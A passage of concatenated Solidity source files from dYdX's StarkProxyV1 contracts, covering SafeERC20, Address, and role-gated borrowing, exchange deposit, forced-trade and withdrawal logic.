* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), 'SafeERC20: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IMerkleDistributorV1 } from '../../../interfaces/IMerkleDistributorV1.sol';
import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol';
import { SP1Exchange } from './SP1Exchange.sol';
/**
* @title SP1Withdrawals
* @author dYdX
*
* @dev Actions which may be called only by WITHDRAWAL_OPERATOR_ROLE. Allows for withdrawing
* funds from the contract to external addresses that were approved by OWNER_ROLE.
*/
abstract contract SP1Withdrawals is
SP1Exchange
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Constants ============
IMerkleDistributorV1 public immutable MERKLE_DISTRIBUTOR;
// ============ Events ============
event ExternalWithdrewToken(
address recipient,
uint256 amount
);
event ExternalWithdrewOtherToken(
address token,
address recipient,
uint256 amount
);
event ExternalWithdrewEther(
address recipient,
uint256 amount
);
// ============ Constructor ============
constructor(
IMerkleDistributorV1 merkleDistributor
) {
MERKLE_DISTRIBUTOR = merkleDistributor;
}
// ============ External Functions ============
/**
* @notice Claim rewards from the Merkle distributor. They will be held in this contract until
* withdrawn by the WITHDRAWAL_OPERATOR_ROLE.
*
* @param cumulativeAmount The total all-time rewards this contract has earned.
* @param merkleProof The Merkle proof for this contract address and cumulative amount.
*
* @return The amount of new reward received.
*/
function claimRewardsFromMerkleDistributor(
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
nonReentrant
onlyRole(WITHDRAWAL_OPERATOR_ROLE)
returns (uint256)
{
return MERKLE_DISTRIBUTOR.claimRewards(cumulativeAmount, merkleProof);
}
/**
* @notice Withdraw a token amount in excess of the borrowed balance, or an amount approved by
* the GUARDIAN_ROLE.
*
* The contract may hold an excess balance if, for example, additional funds were added by the
* contract owner for use with the same exchange account, or if profits were earned from
* activity on the exchange.
*
* @param recipient The recipient to receive tokens. Must be authorized by OWNER_ROLE.
*/
function externalWithdrawToken(
address recipient,
uint256 amount
)
external
nonReentrant
onlyRole(WITHDRAWAL_OPERATOR_ROLE)
onlyAllowedRecipient(recipient)
{
// If we are approved for the full amount, then skip the borrowed balance check.
uint256 approvedAmount = _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_;
if (approvedAmount >= amount) {
_APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = approvedAmount.sub(amount);
} else {
uint256 owedBalance = getBorrowedAndDebtBalance();
uint256 tokenBalance = getTokenBalance();
require(tokenBalance > owedBalance, 'SP1Withdrawals: No withdrawable balance');
uint256 availableBalance = tokenBalance.sub(owedBalance);
require(amount <= availableBalance, 'SP1Withdrawals: Amount exceeds withdrawable balance');
// Always decrease the approval amount.
_APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = 0;
}
TOKEN.safeTransfer(recipient, amount);
emit ExternalWithdrewToken(recipient, amount);
}
/**
* @notice Withdraw any ERC20 token balance other than the token used for borrowing.
*
* @param recipient The recipient to receive tokens. Must be authorized by OWNER_ROLE.
*/
function externalWithdrawOtherToken(
address token,
address recipient,
uint256 amount
)
external
nonReentrant
onlyRole(WITHDRAWAL_OPERATOR_ROLE)
onlyAllowedRecipient(recipient)
{
require(
token != address(TOKEN),
'SP1Withdrawals: Cannot use this function to withdraw borrowed token'
);
IERC20(token).safeTransfer(recipient, amount);
emit ExternalWithdrewOtherToken(token, recipient, amount);
}
/**
* @notice Withdraw any ether.
*
* Note: The contract is not expected to hold Ether so this is not normally needed.
*
* @param recipient The recipient to receive Ether. Must be authorized by OWNER_ROLE.
*/
function externalWithdrawEther(
address recipient,
uint256 amount
)
external
nonReentrant
onlyRole(WITHDRAWAL_OPERATOR_ROLE)
onlyAllowedRecipient(recipient)
{
payable(recipient).transfer(amount);
emit ExternalWithdrewEther(recipient, amount);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { ILiquidityStakingV1 } from '../../../interfaces/ILiquidityStakingV1.sol';
import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol';
import { SP1Borrowing } from './SP1Borrowing.sol';
import { SP1Exchange } from './SP1Exchange.sol';
/**
* @title SP1Guardian
* @author dYdX
*
* @dev Defines guardian powers, to be owned or delegated by dYdX governance.
*/
abstract contract SP1Guardian is
SP1Borrowing,
SP1Exchange
{
using SafeMath for uint256;
// ============ Events ============
event BorrowingRestrictionChanged(
bool isBorrowingRestricted
);
event GuardianVetoedForcedTradeRequest(
bytes32 argsHash
);
event GuardianUpdateApprovedAmountForExternalWithdrawal(
uint256 amount
);
// ============ Constructor ============
constructor(
ILiquidityStakingV1 liquidityStaking,
IStarkPerpetual starkPerpetual,
IERC20 token
)
SP1Borrowing(liquidityStaking, token)
SP1Exchange(starkPerpetual)
{}
// ============ External Functions ============
/**
* @notice Approve an additional amount for external withdrawal by WITHDRAWAL_OPERATOR_ROLE.
*
* @param amount The additional amount to approve for external withdrawal.
*
* @return The new amount approved for external withdrawal.
*/
function increaseApprovedAmountForExternalWithdrawal(
uint256 amount
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
returns (uint256)
{
uint256 newApprovedAmount = _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_.add(
amount
);
_APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = newApprovedAmount;
emit GuardianUpdateApprovedAmountForExternalWithdrawal(newApprovedAmount);
return newApprovedAmount;
}
/**
* @notice Set the approved amount for external withdrawal to zero.
*
* @return The amount that was previously approved for external withdrawal.
*/
function resetApprovedAmountForExternalWithdrawal()
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
returns (uint256)
{
uint256 previousApprovedAmount = _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_;
_APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_ = 0;
emit GuardianUpdateApprovedAmountForExternalWithdrawal(0);
return previousApprovedAmount;
}
/**
* @notice Guardian method to restrict borrowing or depositing borrowed funds to the exchange.
*/
function guardianSetBorrowingRestriction(
bool isBorrowingRestricted
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
{
_IS_BORROWING_RESTRICTED_ = isBorrowingRestricted;
emit BorrowingRestrictionChanged(isBorrowingRestricted);
}
/**
* @notice Guardian method to repay this contract's borrowed balance, using this contract's funds.
*
* @param amount Amount to repay.
*/
function guardianRepayBorrow(
uint256 amount
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
{
_repayBorrow(amount, true);
}
/**
* @notice Guardian method to repay a debt balance owed by the borrower.
*
* @param amount Amount to repay.
*/
function guardianRepayDebt(
uint256 amount
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
{
_repayDebt(amount, true);
}
/**
* @notice Guardian method to trigger a withdrawal. This will transfer funds from StarkPerpetual
* to this contract. This requires a (slow) withdrawal from L2 to have been previously processed.
*
* Note: This function is intentionally not protected by the onlyAllowedKey modifier.
*
* @return The ERC20 token amount received by this contract.
*/
function guardianWithdrawFromExchange(
uint256 starkKey,
uint256 assetType
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
returns (uint256)
{
return _withdrawFromExchange(starkKey, assetType, true);
}
/**
* @notice Guardian method to trigger a forced withdrawal request.
* Reverts if the borrower has no overdue debt.
*
* Note: This function is intentionally not protected by the onlyAllowedKey modifier.
*/
function guardianForcedWithdrawalRequest(
uint256 starkKey,
uint256 vaultId,
uint256 quantizedAmount,
bool premiumCost
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
{
require(
getDebtBalance() > 0,
'SP1Guardian: Cannot call forced action if borrower has no overdue debt'
);
_forcedWithdrawalRequest(
starkKey,
vaultId,
quantizedAmount,
premiumCost,
true // isGuardianAction
);
}
/**
* @notice Guardian method to trigger a forced trade request.
* Reverts if the borrower has no overdue debt.
*
* Note: This function is intentionally not protected by the onlyAllowedKey modifier.
*/
function guardianForcedTradeRequest(
uint256[12] calldata args,
bytes calldata signature
)
external
nonReentrant
onlyRole(GUARDIAN_ROLE)
{
require(
getDebtBalance() > 0,
'SP1Guardian: Cannot call forced action if borrower has no overdue debt'
);
_forcedTradeRequest(args, signature, true);
}
/**
* @notice Guardian method to prevent queued forced trade requests from being executed.
*
* May only be called by VETO_GUARDIAN_ROLE.
*
* @param argsHashes An array of hashes for each forced trade request to veto.
*/
function guardianVetoForcedTradeRequests(
bytes32[] calldata argsHashes
)
external
nonReentrant
onlyRole(VETO_GUARDIAN_ROLE)
{
for (uint256 i = 0; i < argsHashes.length; i++) {
bytes32 argsHash = argsHashes[i];
_QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash] = 0;
emit GuardianVetoedForcedTradeRequest(argsHash);
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol';
import { SP1Borrowing } from './SP1Borrowing.sol';
import { SP1Exchange } from './SP1Exchange.sol';
/**
* @title SP1Owner
* @author dYdX
*
* @dev Actions which may be called only by OWNER_ROLE. These include actions with a larger amount
* of control over the funds held by the contract.
*/
abstract contract SP1Owner is
SP1Borrowing,
SP1Exchange
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Constants ============
/// @notice Time that must elapse before a queued forced trade request can be submitted.
uint256 public constant FORCED_TRADE_WAITING_PERIOD = 7 days;
/// @notice Max time that may elapse after the waiting period before a queued forced trade
/// request expires.
uint256 public constant FORCED_TRADE_GRACE_PERIOD = 7 days;
// ============ Events ============
event UpdatedStarkKey(
uint256 starkKey,
bool isAllowed
);
event UpdatedExternalRecipient(
address recipient,
bool isAllowed
);
event QueuedForcedTradeRequest(
uint256[12] args,
bytes32 argsHash
);
// ============ External Functions ============
/**
* @notice Allow exchange functions to be called for a particular STARK key.
*
* Will revert if the STARK key is not registered to this contract's address on the
* StarkPerpetual contract.
*
* @param starkKey The STARK key to allow.
*/
function allowStarkKey(
uint256 starkKey
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
// This will revert with 'USER_UNREGISTERED' if the STARK key was not registered.
address ethKey = STARK_PERPETUAL.getEthKey(starkKey);
// Require the STARK key to be registered to this contract before we allow it to be used.
require(ethKey == address(this), 'SP1Owner: STARK key not registered to this contract');
require(!_ALLOWED_STARK_KEYS_[starkKey], 'SP1Owner: STARK key already allowed');
_ALLOWED_STARK_KEYS_[starkKey] = true;
emit UpdatedStarkKey(starkKey, true);
}
/**
* @notice Remove a STARK key from the allowed list.
*
* @param starkKey The STARK key to disallow.
*/
function disallowStarkKey(
uint256 starkKey
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
require(_ALLOWED_STARK_KEYS_[starkKey], 'SP1Owner: STARK key already disallowed');
_ALLOWED_STARK_KEYS_[starkKey] = false;
emit UpdatedStarkKey(starkKey, false);
}
/**
* @notice Allow withdrawals of excess funds to be made to a particular recipient.
*
* @param recipient The recipient to allow.
*/
function allowExternalRecipient(
address recipient
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
require(!_ALLOWED_RECIPIENTS_[recipient], 'SP1Owner: Recipient already allowed');
_ALLOWED_RECIPIENTS_[recipient] = true;
emit UpdatedExternalRecipient(recipient, true);
}
/**
* @notice Remove a recipient from the allowed list.
*
* @param recipient The recipient to disallow.
*/
function disallowExternalRecipient(
address recipient
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
require(_ALLOWED_RECIPIENTS_[recipient], 'SP1Owner: Recipient already disallowed');
_ALLOWED_RECIPIENTS_[recipient] = false;
emit UpdatedExternalRecipient(recipient, false);
}
/**
* @notice Set ERC20 token allowance for the exchange contract.
*
* @param token The ERC20 token to set the allowance for.
* @param amount The new allowance amount.
*/
function setExchangeContractAllowance(
address token,
uint256 amount
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
// SafeERC20 safeApprove requires setting to zero first.
IERC20(token).safeApprove(address(STARK_PERPETUAL), 0);
IERC20(token).safeApprove(address(STARK_PERPETUAL), amount);
}
/**
* @notice Set ERC20 token allowance for the staking contract.
*
* @param token The ERC20 token to set the allowance for.
* @param amount The new allowance amount.
*/
function setStakingContractAllowance(
address token,
uint256 amount
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
// SafeERC20 safeApprove requires setting to zero first.
IERC20(token).safeApprove(address(LIQUIDITY_STAKING), 0);
IERC20(token).safeApprove(address(LIQUIDITY_STAKING), amount);
}
/**
* @notice Request a forced withdrawal from the exchange.
*
* @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE.
* @param vaultId The exchange position ID for the account to deposit to.
* @param quantizedAmount The withdrawal amount denominated in the exchange base units.
* @param premiumCost Whether to pay a higher fee for faster inclusion in certain scenarios.
*/
function forcedWithdrawalRequest(
uint256 starkKey,
uint256 vaultId,
uint256 quantizedAmount,
bool premiumCost
)
external
nonReentrant
onlyRole(OWNER_ROLE)
onlyAllowedKey(starkKey)
{
_forcedWithdrawalRequest(starkKey, vaultId, quantizedAmount, premiumCost, false);
}
/**
* @notice Queue a forced trade request to be submitted after the waiting period.
*
* @param args Arguments for the forced trade request.
*/
function queueForcedTradeRequest(
uint256[12] calldata args
)
external
nonReentrant
onlyRole(OWNER_ROLE)
{
bytes32 argsHash = keccak256(abi.encodePacked(args));
_QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash] = block.timestamp;
emit QueuedForcedTradeRequest(args, argsHash);
}
/**
* @notice Submit a forced trade request that was previously queued.
*
* @param args Arguments for the forced trade request.
* @param signature The signature of the counterparty to the trade.
*/
function forcedTradeRequest(
uint256[12] calldata args,
bytes calldata signature
)
external
nonReentrant
onlyRole(OWNER_ROLE)
onlyAllowedKey(args[0]) // starkKeyA
{
bytes32 argsHash = keccak256(abi.encodePacked(args));
uint256 timestamp = _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash];
require(
timestamp != 0,
'SP1Owner: Forced trade not queued or was vetoed'
);
uint256 elapsed = block.timestamp.sub(timestamp);
require(
elapsed >= FORCED_TRADE_WAITING_PERIOD,
'SP1Owner: Waiting period has not elapsed for forced trade'
);
require(
elapsed <= FORCED_TRADE_WAITING_PERIOD.add(FORCED_TRADE_GRACE_PERIOD),
'SP1Owner: Grace period has elapsed for forced trade'
);
_QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash] = 0;
_forcedTradeRequest(args, signature, false);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IStarkPerpetual } from '../../../interfaces/IStarkPerpetual.sol';
import { SP1Balances } from './SP1Balances.sol';
/**
* @title SP1Exchange
* @author dYdX
*
* @dev Handles calls to the StarkPerpetual contract, for interacting with the dYdX L2 exchange.
*
* Standard exchange operation is handled by EXCHANGE_OPERATOR_ROLE. The “forced” actions can only
* be called by the OWNER_ROLE or GUARDIAN_ROLE. Some other functions are also callable by
* the GUARDIAN_ROLE.
*
* See SP1Roles, SP1Guardian, SP1Owner, and SP1Withdrawals.
*/
abstract contract SP1Exchange is
SP1Balances
{
using SafeMath for uint256;
// ============ Constants ============
IStarkPerpetual public immutable STARK_PERPETUAL;
// ============ Events ============
event DepositedToExchange(
uint256 starkKey,
uint256 starkAssetType,
uint256 starkVaultId,
uint256 tokenAmount
);
event WithdrewFromExchange(
uint256 starkKey,
uint256 starkAssetType,
uint256 tokenAmount,
bool isGuardianAction
);
/// @dev Limited fields included. Details can be retrieved from Starkware logs if needed.
event RequestedForcedWithdrawal(
uint256 starkKey,
uint256 vaultId,
bool isGuardianAction
);
/// @dev Limited fields included. Details can be retrieved from Starkware logs if needed.
event RequestedForcedTrade(
uint256 starkKey,
uint256 vaultId,
bool isGuardianAction
);
// ============ Constructor ============
constructor(
IStarkPerpetual starkPerpetual
) {
STARK_PERPETUAL = starkPerpetual;
}
// ============ External Functions ============
/**
* @notice Deposit funds to the exchange.
*
* IMPORTANT: The caller is responsible for providing `quantizedAmount` in the right units.
* Currently, the exchange collateral is USDC, denominated in ERC20 token units, but
* this could change.
*
* @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE.
* @param assetType The exchange asset ID for the asset to deposit.
* @param vaultId The exchange position ID for the account to deposit to.
* @param quantizedAmount The deposit amount denominated in the exchange base units.
*
* @return The ERC20 token amount spent.
*/
function depositToExchange(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
)
external
nonReentrant
onlyRole(EXCHANGE_OPERATOR_ROLE)
onlyAllowedKey(starkKey)
returns (uint256)
{
// Deposit and get the deposited token amount.
uint256 startingBalance = getTokenBalance();
STARK_PERPETUAL.deposit(starkKey, assetType, vaultId, quantizedAmount);
uint256 endingBalance = getTokenBalance();
uint256 tokenAmount = startingBalance.sub(endingBalance);
// Disallow depositing borrowed funds to the exchange if the guardian has restricted borrowing.
if (_IS_BORROWING_RESTRICTED_) {
require(
endingBalance >= getBorrowedAndDebtBalance(),
'SP1Borrowing: Cannot deposit borrowed funds to the exchange while Restricted'
);
}
emit DepositedToExchange(starkKey, assetType, vaultId, tokenAmount);
return tokenAmount;
}
/**
* @notice Trigger a withdrawal of account funds held in the exchange contract. This can be
* called after a (slow) withdrawal has already been processed by the L2 exchange.
*
* @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE.
* @param assetType The exchange asset ID for the asset to withdraw.
*
* @return The ERC20 token amount received by this contract.
*/
function withdrawFromExchange(
uint256 starkKey,
uint256 assetType
)
external
nonReentrant
onlyRole(EXCHANGE_OPERATOR_ROLE)
onlyAllowedKey(starkKey)
returns (uint256)
{
return _withdrawFromExchange(starkKey, assetType, false);
}
// ============ Internal Functions ============
function _withdrawFromExchange(
uint256 starkKey,
uint256 assetType,
bool isGuardianAction
)
internal
returns (uint256)
{
uint256 startingBalance = getTokenBalance();
STARK_PERPETUAL.withdraw(starkKey, assetType);
uint256 endingBalance = getTokenBalance();
uint256 tokenAmount = endingBalance.sub(startingBalance);
emit WithdrewFromExchange(starkKey, assetType, tokenAmount, isGuardianAction);
return tokenAmount;
}
function _forcedWithdrawalRequest(
uint256 starkKey,
uint256 vaultId,
uint256 quantizedAmount,
bool premiumCost,
bool isGuardianAction
)
internal
{
STARK_PERPETUAL.forcedWithdrawalRequest(starkKey, vaultId, quantizedAmount, premiumCost);
emit RequestedForcedWithdrawal(starkKey, vaultId, isGuardianAction);
}
function _forcedTradeRequest(
uint256[12] calldata args,
bytes calldata signature,
bool isGuardianAction
)
internal
{
// Split into two functions to avoid error 'call stack too deep'.
if (args[11] != 0) {
_forcedTradeRequestPremiumCostTrue(args, signature);
} else {
_forcedTradeRequestPremiumCostFalse(args, signature);
}
emit RequestedForcedTrade(
args[0], // starkKeyA
args[2], // vaultIdA
isGuardianAction
);
}
// ============ Private Functions ============
// Split into two functions to avoid error 'call stack too deep'.
function _forcedTradeRequestPremiumCostTrue(
uint256[12] calldata args,
bytes calldata signature
)
private
{
STARK_PERPETUAL.forcedTradeRequest(
args[0], // starkKeyA
args[1], // starkKeyB
args[2], // vaultIdA
args[3], // vaultIdB
args[4], // collateralAssetId
args[5], // syntheticAssetId
args[6], // amountCollateral
args[7], // amountSynthetic
args[8] != 0, // aIsBuyingSynthetic
args[9], // submissionExpirationTime
args[10], // nonce
signature,
true // premiumCost
);
}
// Split into two functions to avoid error 'call stack too deep'.
function _forcedTradeRequestPremiumCostFalse(
uint256[12] calldata args,
bytes calldata signature
)
private
{
STARK_PERPETUAL.forcedTradeRequest(
args[0], // starkKeyA
args[1], // starkKeyB
args[2], // vaultIdA
args[3], // vaultIdB
args[4], // collateralAssetId
args[5], // syntheticAssetId
args[6], // amountCollateral
args[7], // amountSynthetic
args[8] != 0, // aIsBuyingSynthetic
args[9], // submissionExpirationTime
args[10], // nonce
signature,
false // premiumCost
);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { ILiquidityStakingV1 } from '../../../interfaces/ILiquidityStakingV1.sol';
import { Math } from '../../../utils/Math.sol';
import { SP1Roles } from './SP1Roles.sol';
/**
* @title SP1Balances
* @author dYdX
*
* @dev Contains common constants and functions related to token balances.
*/
abstract contract SP1Balances is
SP1Roles
{
using SafeMath for uint256;
// ============ Constants ============
IERC20 public immutable TOKEN;
ILiquidityStakingV1 public immutable LIQUIDITY_STAKING;
// ============ Constructor ============
constructor(
ILiquidityStakingV1 liquidityStaking,
IERC20 token
) {
LIQUIDITY_STAKING = liquidityStaking;
TOKEN = token;
}
// ============ Public Functions ============
function getAllocatedBalanceCurrentEpoch()
public
view
returns (uint256)
{
return LIQUIDITY_STAKING.getAllocatedBalanceCurrentEpoch(address(this));
}
function getAllocatedBalanceNextEpoch()
public
view
returns (uint256)
{
return LIQUIDITY_STAKING.getAllocatedBalanceNextEpoch(address(this));
}
function getBorrowableAmount()
public
view
returns (uint256)
{
if (_IS_BORROWING_RESTRICTED_) {
return 0;
}
return LIQUIDITY_STAKING.getBorrowableAmount(address(this));
}
function getBorrowedBalance()
public
view
returns (uint256)
{
return LIQUIDITY_STAKING.getBorrowedBalance(address(this));
}
function getDebtBalance()
public
view
returns (uint256)
{
return LIQUIDITY_STAKING.getBorrowerDebtBalance(address(this));
}
function getBorrowedAndDebtBalance()
public
view
returns (uint256)
{
return getBorrowedBalance().add(getDebtBalance());
}
function getTokenBalance()
public
view
returns (uint256)
{
return TOKEN.balanceOf(address(this));
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SP1Storage } from './SP1Storage.sol';
/**
* @title SP1Roles
* @author dYdX
*
* @dev Defines roles used in the StarkProxyV1 contract. The hierarchy and powers of each role
* are described below. Not all roles need to be used.
*
* Overview:
*
* During operation of this contract, funds will flow between the following three
* contracts:
*
* LiquidityStaking <> StarkProxy <> StarkPerpetual
*
* Actions which move fund from left to right are called “open” actions, whereas actions which
* move funds from right to left are called “close” actions.
*
* Also note that the “forced” actions (forced trade and forced withdrawal) require special care
* since they directly impact the financial risk of positions held on the exchange.
*
* Roles:
*
* GUARDIAN_ROLE
* | -> May perform “close” actions as defined above, but “forced” actions can only be taken
* | if the borrower has an outstanding debt balance.
* | -> May restrict “open” actions as defined above, except w.r.t. funds in excess of the
* | borrowed balance.
* | -> May approve a token amount to be withdrawn externally by the WITHDRAWAL_OPERATOR_ROLE
* | to an allowed address.
* |
* +-- VETO_GUARDIAN_ROLE
* -> May veto forced trade requests initiated by the owner, during the waiting period.
*
* OWNER_ROLE
* | -> May add or remove allowed recipients who may receive excess funds.
* | -> May add or remove allowed STARK keys for use on the exchange.
* | -> May set ERC20 allowances on the LiquidityStakingV1 and StarkPerpetual contracts.
* | -> May call the “forced” actions: forcedWithdrawalRequest and forcedTradeRequest.
* |
* +-- DELEGATION_ADMIN_ROLE
* |
* +-- BORROWER_ROLE
* | -> May call functions on LiquidityStakingV1: autoPayOrBorrow, borrow, repay,
* | and repayDebt.
* |
* +-- EXCHANGE_OPERATOR_ROLE
* | -> May call functions on StarkPerpetual: depositToExchange and
* | withdrawFromExchange.
* |
* +-- WITHDRAWAL_OPERATOR_ROLE
* -> May withdraw funds in excess of the borrowed balance to an allowed recipient.
*/
abstract contract SP1Roles is
SP1Storage
{
bytes32 public constant GUARDIAN_ROLE = keccak256('GUARDIAN_ROLE');
bytes32 public constant VETO_GUARDIAN_ROLE = keccak256('VETO_GUARDIAN_ROLE');
bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE');
bytes32 public constant DELEGATION_ADMIN_ROLE = keccak256('DELEGATION_ADMIN_ROLE');
bytes32 public constant BORROWER_ROLE = keccak256('BORROWER_ROLE');
bytes32 public constant EXCHANGE_OPERATOR_ROLE = keccak256('EXCHANGE_OPERATOR_ROLE');
bytes32 public constant WITHDRAWAL_OPERATOR_ROLE = keccak256('WITHDRAWAL_OPERATOR_ROLE');
function __SP1Roles_init(
address guardian
)
internal
{
// Assign GUARDIAN_ROLE.
_setupRole(GUARDIAN_ROLE, guardian);
// Assign OWNER_ROLE and DELEGATION_ADMIN_ROLE to the sender.
_setupRole(OWNER_ROLE, msg.sender);
_setupRole(DELEGATION_ADMIN_ROLE, msg.sender);
// Set admins for all roles. (Don't use the default admin role.)
_setRoleAdmin(GUARDIAN_ROLE, GUARDIAN_ROLE);
_setRoleAdmin(VETO_GUARDIAN_ROLE, GUARDIAN_ROLE);
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
_setRoleAdmin(DELEGATION_ADMIN_ROLE, OWNER_ROLE);
_setRoleAdmin(BORROWER_ROLE, DELEGATION_ADMIN_ROLE);
_setRoleAdmin(EXCHANGE_OPERATOR_ROLE, DELEGATION_ADMIN_ROLE);
_setRoleAdmin(WITHDRAWAL_OPERATOR_ROLE, DELEGATION_ADMIN_ROLE);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { ILiquidityStakingV1 } from '../../../interfaces/ILiquidityStakingV1.sol';
import { Math } from '../../../utils/Math.sol';
import { SP1Balances } from './SP1Balances.sol';
/**
* @title SP1Borrowing
* @author dYdX
*
* @dev Handles calls to the LiquidityStaking contract to borrow and repay funds.
*/
abstract contract SP1Borrowing is
SP1Balances
{
using SafeMath for uint256;
// ============ Events ============
event Borrowed(
uint256 amount,
uint256 newBorrowedBalance
);
event RepaidBorrow(
uint256 amount,
uint256 newBorrowedBalance,
bool isGuardianAction
);
event RepaidDebt(
uint256 amount,
uint256 newDebtBalance,
bool isGuardianAction
);
// ============ Constructor ============
constructor(
ILiquidityStakingV1 liquidityStaking,
IERC20 token
)
SP1Balances(liquidityStaking, token)
{}
// ============ External Functions ============
/**
* @notice Automatically repay or borrow to bring borrowed balance to the next allocated balance.
